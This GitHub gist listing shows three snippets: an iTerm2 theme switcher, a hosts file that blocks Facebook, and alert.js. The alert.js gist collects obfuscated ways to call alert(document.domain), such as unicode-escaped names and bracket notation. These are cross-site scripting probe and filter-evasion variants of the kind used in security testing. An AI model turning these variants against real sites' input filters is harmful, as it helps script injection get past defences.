Skip to content

Instantly share code, notes, and snippets.

View hamza72x's full-sized avatar
❤️‍🩹

hamza72x

❤️‍🩹
View GitHub Profile
@hamza72x
hamza72x / alert.js
Created June 6, 2021 01:20 — forked from tomnomnom/alert.js
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
@hamza72x
hamza72x / auto_switch_theme.py
Last active September 14, 2021 01:50 — forked from plivox/auto_switch_theme.py
Automatic iTerm2 preset switching on MacOS
#!/usr/bin/env python3
import asyncio
import iterm2
THEME_LIGHT = "Tango Light"
THEME_DARK = "Tango Dark"
class AutoSwitchTheme:
@hamza72x
hamza72x / gist:0730420c6e6c88dd570ee8dd8bc553d4
Last active March 25, 2023 09:33 — forked from djaiss/gist:85a0ada83e6bca68e41e
Block Twitter/Facebook in your /etc/hosts
# Block Facebook IPv4
127.0.0.1 www.facebook.com
127.0.0.1 facebook.com
127.0.0.1 login.facebook.com
127.0.0.1 www.login.facebook.com
127.0.0.1 fbcdn.net
127.0.0.1 www.fbcdn.net
127.0.0.1 fbcdn.com
127.0.0.1 www.fbcdn.com
127.0.0.1 static.ak.fbcdn.net